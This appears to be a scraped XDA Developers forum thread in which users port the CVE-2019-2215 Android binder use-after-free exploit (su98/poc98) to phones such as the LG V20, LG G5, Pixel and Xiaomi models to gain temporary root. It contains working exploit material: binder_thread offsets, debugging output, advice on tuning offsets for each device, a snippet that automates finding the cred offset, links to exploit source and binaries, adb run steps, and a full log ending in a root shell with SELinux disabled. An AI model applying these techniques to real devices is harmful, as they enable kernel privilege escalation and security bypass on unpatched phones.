yashsingh1/xdaforums huggingface dataset:
[LG V20 Questions & Answers] ethylamine:
After a bit more digging around with the su98 source I found out that, in the leak_data function, this check fails:

if (!isKernelPointer(addr)) {
badPointer = 1;
childSuccess = 0;
}

This can mean a number of things as far as I know:

This s6 edge+ on 3.10 just isn't susceptible to the exploit for some reason (every version of the kernel source I can find online does not have the POLLFREE patch)

The KERNEL_BASE I have defined is wrong

Some other offset is wrong, maybe the task_struct is not in the expected location?

This stuff is still somewhat confusing to me, but it seems like the first read

if (read(pipefd[0], buffer, size1) != size1)

isn't working as it should (although the check passes as the error it checks for is never printed/thrown). I'm starting to think this device just isn't vulnerable but I want to be 100% sure before calling it quits.
[LG V20 Questions & Answers] novitoll:
What about devices with 32-bit? armv7l? mmap with 0x100000000UL allocation does not work, if decrease to 0x10000000, then writev will return 0xffffffff.
[LG V20 Questions & Answers] sun16:
Could you please briefly describe how did you set up an emulator:

1) From which repo did you pull the sources?

a) how did you set x86_64 option?

2) Which avd you created to fit that particular kernel?

Thanks ;)
[LG V20 Questions & Answers] novitoll:
1) Official Android AOSP repo (because Android-x86 sources are 60GB)

2) Downloaded the latest ISO image from https://www.android-x86.org/. Ran it and grabbed the `/proc/config.gz`. Then using sources above with the v4.14 version of Kernel, commented out the patch in binder.c and compiled with KASAN and KASLR enabled,, replaced kernel image in ISO and built ISO back to make it bootable. Installed Android-x86 on VM. Confirmed the crash and saw KASAN logs.

3) Created avd with android-29 for x86_64

`avdmanager create avd -n kt -k "system-images;android-29;default;x86_64"`
[LG V20 Questions & Answers] sun16:
I've set up debug environment for kernel 3.10 and here is how binder_thread looks like on x86_64 architecture:

gef➤ ptype /o *thread
/* offset | size */ type = struct binder_thread {
/* 0 | 8 */ struct binder_proc *proc;
/* 8 | 24 */ struct rb_node {
/* 8 | 8 */ unsigned long __rb_parent_color;
/* 16 | 8 */ struct rb_node *rb_right;
/* 24 | 8 */ struct rb_node *rb_left;

/* total size (bytes): 24 */
} rb_node;
/* 32 | 4 */ int pid;
/* 36 | 4 */ int looper;
/* 40 | 8 */ struct binder_transaction *transaction_stack;
/* 48 | 16 */ struct list_head {
/* 48 | 8 */ struct list_head *next;
/* 56 | 8 */ struct list_head *prev;

/* total size (bytes): 16 */
} todo;
/* 64 | 4 */ uint32_t return_error;
/* 68 | 4 */ uint32_t return_error2;
/* 72 | 24 */ wait_queue_head_t wait;
/* 96 | 204 */ struct binder_stats {
/* 96 | 72 */ int br[18];
/* 168 | 76 */ int bc[19];
/* 244 | 28 */ int obj_created[7];
/* 272 | 28 */ int obj_deleted[7];

/* total size (bytes): 204 */
} stats;
/* XXX 4-byte padding */

/* total size (bytes): 304 */
}
[LG V20 Questions & Answers] novitoll:
So I figured it out why on 4.14 it didn't work, have an arbitrary kernel RW now on my Android-x86 VM.

For 3.18 version, aarch64 device, I was able to get the `struct task_struct` pointer, however `addr_limit` is not inside of this struct. In fact, it is located in `struct thread_info` which is also not included in `task_struct`.

In this exploit, the guy bruteforces (THREAD_SIZE / 8) stack buffer in order to find the addr_limit via fixed value, which is weird, and obviously not working for me.

https://github.com/timwr/CVE-2019-2215/blob/master/su98.c#L1300

So how do you smash addr_limit guys? There is the option where I can try to get the value of `current_stack_pointer` via `struct task_struct` (2nd field with 0x8 offset). But I will need to get the value of stack, not the pointer, because here how in kernel you get the `thread_info`.

```

static inline struct thread_info *current_thread_info(void)

{

return (struct thread_info *)

(current_stack_pointer & ~(THREAD_SIZE - 1));

}

```
[LG V20 Questions & Answers] antintin:
Did you figure it out?
[LG V20 Questions & Answers] johndoe901:
Hey guys. Sorry for a little offtopic.

I have a Pixel device with kernel 3.18 and November/December security patch. I've tried to run all expoloits/PoCs I could find with no luck.

I changed BINDER_THREAD_SZ to 0x198 and WAITQUEUE_OFFSET to 0xa0 according to my findings with Ghidra. Is there anything else I can do?

Thanks!
[LG V20 Questions & Answers] Supersonic27543:
If you mean November/December 2019 unfortunately it wouldn't work because this bug was fixed in October. :( If it is 2018 or before, should work after some tweaking.
[LG V20 Questions & Answers] morgan3:
My friend has a July patch and his phone just reboots. What tweaking are you talking about?
[LG V20 Questions & Answers] Supersonic27543:
If it reboots that's a positive as that means the phone is vulnerable in some form. The tweaking required is mostly adjusting the offsets at the start correctly for each device (there's a guide at post #52 on how to find them) but could differ across vendors as some of them implement further protections than stock Android.
[LG V20 Questions & Answers] morgan3:
That's what we changed but it didn't help. Probably needs some more tweaking.
[LG V20 Questions & Answers] morgan3:
This file contains offsets that I managed to find for Pixel 1, using pahole, Ghidra, vmlinux.py, System.map and own compiled kernel. It doesn't achieve root for me. Requesting help.

Unfortunately Pixel 1 locks up here:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

And reboots after some time. I've spent all day trying different approaches and different exploits. This one is based upon [MENTION=2714177]arpruss[/MENTION]'s code I found.
[LG V20 Questions & Answers] Rortiz2:
[MENTION=7860599]Supersonic27543[/MENTION], you still have the poc that gave a root shell with limited permissions? I would like to try it in my WAS-LX1A. I tried your older su98 but didn't worked :(

HWWAS-H:/data/local/tmp $ ./poc
MAIN: Kernel version is not 3: 4.4.23+
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x82841980
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0x7b43f6b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69660
PARENT: readv returns 69632, expected 69660
PARENT: **fail** clobber value doesn't match: is 0 but should be beef1234
CHILD: **fail** iovec clobbering didn't work
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x82841980
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0x63f198b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69660
PARENT: readv returns 69632, expected 69660
PARENT: **fail** clobber value doesn't match: is 0 but should be beef1234
CHILD: **fail** iovec clobbering didn't work
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x82841980
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xc81c4ab0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69632, expected 69660
PARENT: **fail** clobber value doesn't match: is 0 but should be beef1234
CHILD: **fail** iovec clobbering didn't work
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: wrote 69660
MAIN: **fail** retrying
Failed to leak data: error
1|HWWAS-H:/data/local/tmp $

Thanks.

Regards.
[LG V20 Questions & Answers] morgan3:
Can someone explain also why IOVEC_ARRAY_SZ defined like this:

#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25

When pahole says that struct iovec is 16 bytes long?
[LG V20 Questions & Answers] hami.hamza:
I'm having a similar (not exact) problem on my Nexus 5x kernel 3.10.73, lineage os site confirms it's vulnerable, it fails to read the current task struct (task_struct_ptr = 0x0), says problematic pointer address, doesn't leak data to memory, maybe i'm not modifying all the offsets? can someone explain which offsets do we need to modify? i've currently modified WAITQUEUE_OFFSET and BINDER_THREAD_SZ.

been stuck with a broken port for a while now :'')

help? anyone? [MENTION=7860599]Supersonic27543[/MENTION] [MENTION=10174047]chompie1337[/MENTION] [MENTION=2714177]arpruss[/MENTION]
[LG V20 Questions & Answers] chompie1337:
it's an array. each index will be 16 bytes in size.
[LG V20 Questions & Answers] chompie1337:
If anyone's interested:

Repurposed for S8/S8 Active with DAC + SELinux + Knox/RKP bypass

https://github.com/chompie1337/s8_2019_2215_poc
[LG V20 Questions & Answers] Rortiz2:
Wow man!

That's good stuff;)

Good job!
[LG V20 Questions & Answers] diracsbracket:
Wow!

I have a Korean G5, LG-F700S running kernel 3.18.31 and SPL November 1, 2016.

I tried to download su98.c from [MENTION=2714177]arpruss[/MENTION] 's github, but that is no longer available unfortunately, so I tried to use another one:

https://github.com/timwr/CVE-2019-2215/blob/master/su98.c

but when run, it fails:

MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: **fail** retrying
Failed to leak data: error
1|h1:/data/local/tmp $

I know it has been a while, but could you let me know which kernel version/SPL you have/had on your G5?

Could you show the su98.c code you used, or let me know if it is the same as the one found above?

Did you have to change certain parameters/offsets for it to work on your G5?

In any case, thanks!

Edit:

From https://www.xda-developers.com/zero-day-security-vulnerability-active-exploit-google-pixel-huawei-xiaomi-samsung-others/, I learned that LG phones with Oreo are known to have been affected, so I just changed to Android 8.0.0 on kernel 3.18.71 , SPL August 1, 2018 and now at least, the device crashes at:

MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
[LG V20 Questions & Answers] diracsbracket:
What is the size of spinlock_t?

Hi,

What is the size of the struct spinlock_t that is a member of the struct wait_queue_head?

Looking at the source code now but it is not very clear and I can't test it using the NDK (no `spinlock.h` in there).

[I don't have a Linux build environment setup yet].

Thanks!
[LG V20 Questions & Answers] diracsbracket:
OK. I got it finally.

It works on my LG-F700S running Oreo with kernel 3.18.71 and SPL August 1, 2018.

POC STARTED
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
IOCTLD
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc02977d080
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc0b6e256a0
child process running
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffc0a5930000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: soon will be calling WRITEV
IOCTLD
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc02977d080
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc0f2ec52a0
child process running
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
CHILD: Finished write to FIFO.
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffc02977d080
MAIN: thread_info_ptr = ffffffc0a5930000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffc0a5930008
child process running
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69648
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffc0a5930000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc001764b70
MAIN: searching for selinux_enforcing
MAIN: searching for kallsyms format strings
MAIN: patching longer version at ffffffc001424d08
MAIN: patching shorter version at ffffffc001424d18
MAIN: **fail** probably you have read-only const storage
found selinux_enforcing in /proc/kallsyms
MAIN: setting root credentials with cred offset 550
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: disabled selinux enforcing
cached /data/local/tmp/selinux_enforcing.symbol
MAIN: re-joining init mount namespace
MAIN: rejoining init net namespace
MAIN: root privileges ready
MAIN: popping out root shell
h1:/data/local/tmp #
h1:/data/local/tmp # whoami
root
h1:/data/local/tmp #

[IMG="Success on LG-F700S"]https://i.imgur.com/8Tzhcfg.png[/IMG]
[LG V20 Questions & Answers] jc9896:
</div>

I just used the apk found in the link from this post: https://xdaforums.com/v20/help/root-cve-2019-2215-t3979341/post80702567#post80702567

Credits to the one who mirrored the original (gone) repo, apk included.

You can find the app somewhere within the repo, can't remember exactly where. But it installs, you open it and tap install. Can also enable auto-install on boot. Should grant root access to all apps which request it without asking you - might be slightly dangerous. (there might be a whitelist feature) I'm not skilled enough to modify the code :)

(edit) Whoops, just saw you got the solution - the apk method is still easier and more automatic IMO. (xda didn't notify me about the quote)

(H860, YMMV)
[LG V20 Questions & Answers] diracsbracket:
Thanks for reacting though!

Unfortunately, in Korea, all bootloaders are locked and the system partition cannot be remounted as RW.

So, temp root is in the end pretty useless, unfortunately...
[LG V20 Questions & Answers] mlgmxyysd:
Can you help me?

I need root permission to write block device to allow me unlock bootloader, tried your poc98, failed.

ro.build.version.security_patch: 2019-08-05

Linux localhost 3.18.107-g62fbe74 #1 SMP PREEMPT Fri Apr 17 15:53:12 CST 2020 armv7l
[LG V20 Questions & Answers] hackarajer:
Deleted
[LG V20 Questions & Answers] hackarajer:
kallsyms problem solution

[MENTION=7860599]Supersonic27543[/MENTION] , [MENTION=8094126]DrZener[/MENTION] , [MENTION=4285699]floemuc[/MENTION] and all who those had the kallsyms problem, test the attached below with the propers BINDER_THREAD_SZ and WAITQUEUE_OFFSET. It worked on my Redmi 4X running 3.18.31 kernel with stock nougat 7.1.2, I got a full-power root shell, but after power off the device, the system was unable to boot (perhaps the kernel got corrupted). It was suited for me because I only needed root for TWRP flashing through terminal using dd (usb not working).

Source: https://xdaforums.com/showpost.php?p=83247423&postcount=81
[LG V20 Questions & Answers] sachinachude:
I have android with kernel 3.18.124 . exploit run successfully but no root . Screenshot attached below
[LG V20 Questions & Answers] lebigmac:
Here is my result with the original poc.c on my old HTC U11 running Android 8.0 with security patch December 2017

And now my result with the su98.c (CVE-2019-2215)

It looks like the su98 PoC is unable to read the symbol address of the selinux_enforce variable in /proc/kallsyms due to selinux Enforcing and therefore it can only provide fake root

The problem is the u:r:shell:s0 selinux security context.

It keeps throwing all kinds of avc denied errors for basic read or remount operations:

I cannot inject custom sepolicy with sepolicy-inject or magiskpolicy because sepolicy file is located at /sepolicy which is mounted read-only

If I got full kernel R/W access according to the su98 log then how can I tell the kernel to disable the selinux for me? Can I just use the included kernel_write() function? :unsure:

void kernel_write(unsigned long kaddr, void *buf, unsigned long len)
{
if (len != raw_kernel_write(kaddr, buf, len))
error( "error with kernel writing");
}

I desperately need a temp root solution for this old HTC device to backup some files before I finally unlock the bootloader which will automatically erase all files! Thank you! (y)
[LG V20 Questions & Answers] Skorpion96:
Please can you port to my kernel, 4.4.147+? here is source and Kernel kallsyms:https://www.mediafire.com/folder/uvde49kcna40o/ZTE+A5+2019+Stuff
[LG V20 Questions & Answers] fayazz13:
@morgan3

@

@morgan3

Hi Morgan!!

How to find the offset values by building own kernel with the help of pahole?

Please help me with this. I am trying to find offsets for pixel 3 xl.

Please reply!!!
[LG V20 Questions & Answers] arpruss:
Yes, it is. But I don't have a working way (though I have some ideas) of reading the contents of an arbitrary kernel address. The heap leak lets me find the address of task_struct. But then I need to actually read the contents of the second field of task_struct, and I don't have that working yet.
[LG V20 Questions & Answers] antintin:
Could this possibly be used for root on g8 with kernel 4.4+? Sorry have to turn to other forums because of the lack of participation over there
[LG V20 Questions & Answers] arpruss:
I think with 4.4 kernel things may be different.

I've been discovering that this exploit seems to need a lot of kernel customization.

BTW, I've just got addr_limit clobbering done, but it's super ugly and hackish and doesn't work every time: https://github.com/arpruss/cve2019-2215-3.18/blob/master/poc98-test.c
[LG V20 Questions & Answers] DrZener:
Rooted Android N 3.18.31 (rolex/riva) here, tell me if you need any test
[LG V20 Questions & Answers] arpruss:
I have a working root shell with selinux disabled on the LG V20 LS997. Probably won't work on other LG V20 variants, but who knows?

Use at your own risk. May corrupt your system. (I had an unexpected reboot after yesterday's testing.)

Get the binary from:

https://github.com/arpruss/cve2019-2215-3.18/blob/master/poc98-test?raw=true

Currently only works over adb, but hopefully I will disable SECCOMP in the evening so it can work from a terminal.

Then:

adb put poc98-test /data/local/tmp
adb shell
cd /data/local/tmp
chmod +x poc98-test
./poc98-test

Note that running this will disable selinux. If you want selinux back, reboot.
[LG V20 Questions & Answers] ilikenwf:
I still seem to have no success using your latest poc98-test.c, built and run on the Pixel XL on the September update, with kernel 3.18.131-ga2426c4f8f23

It was originally mentioned as vulnerable... It seems to be forced to reboot when EPOLL_CTL_DEL is called. Is it not actually vulnerable?
[LG V20 Questions & Answers] Supersonic27543:
(Sorry for posting this here as I don't have a V20 but there are no ongoing discussions about this elsewhere)

This happens to me too on a Huawei device (with kernel 4.4.103) If you manage to get something interesting do share your work! By the way you might want to use pahole to calculate the offsets, maybe the way your kernel is compiled inserts empty bits between variables?
[LG V20 Questions & Answers] arpruss:
If reboots, it's probably vulnerable. Running an unprivileged binary shouldn't force a device to reboot.

Get the source code for your precise kernel version and look at binder.c and see where what the offset of the waitqueue in binder_thread is. Or just copy and paste the definition of struct binder_thread into a post.
[LG V20 Questions & Answers] Supersonic27543:
I might be out of luck then. I asked Huawei for the kernel source several times and they just ignored it. (They are legally obligated to release it though, IDK)
[LG V20 Questions & Answers] chompie1337:
have they released one for a similar device or diff version? i'd start there
[LG V20 Questions & Answers] DrZener:
Impressive! Kernel R/W works fine on my Xioami (cred has just a different offset).

How can i get the vales for pk1, pk2 and selinuxenforcing?
[LG V20 Questions & Answers] Supersonic27543:
There is a version for a device with the same SoC and released around the time my device was, I could check that. Thanks!

---------- Post added at 06:52 PM ---------- Previous post was at 06:49 PM ----------

I think you can ask someone with a rooted device (have to be your same device model) to disable KASLR and ASLR temporarily and check /proc/kallsyms but not sure.
[LG V20 Questions & Answers] DrZener:
My device is already rooted, I just want to know for what/where I have too look at.

Edit:

nvm, got them

Got an apparently working root shell on my xiaomi.

Does anybody know how to make it system-wide by implanting a root manager (like Magisk or supersu)?
[LG V20 Questions & Answers] arpruss:
3.18 doesn't have KASLR, I think, so it's just a matter of kallsyms.

The pk1 and pk2 offsets are used to remove the protections on /proc/kallsyms. I found the offsets by dumping memory and searching it for the kallsyms module's formatting strings. That removed protections on /proc/kallsyms and enabled me to find the selinux enforcing address. I plan to change the code to automate these steps.
[LG V20 Questions & Answers] DrZener:
This is how I automatued the search of OFFSET__task_struct__cred

void *cred_ptr_in_task_struct = memmem((const void *)task_struct_data, 0x1000, (const void *)(argv[0] + 2), strlen(argv[0]) - 2);
if(!cred_ptr_in_task_struct)
{
printf("MAIN: Failed finding cred ptr in task_struct_data.\n");
exit(1);
}
size_t task_struct_cred_offset = cred_ptr_in_task_struct - (void*)task_struct_data - 8;
printf("cred\n");

How does kallsym enable work? Are you overwriting the value of kptr_restrict or it's a code patch?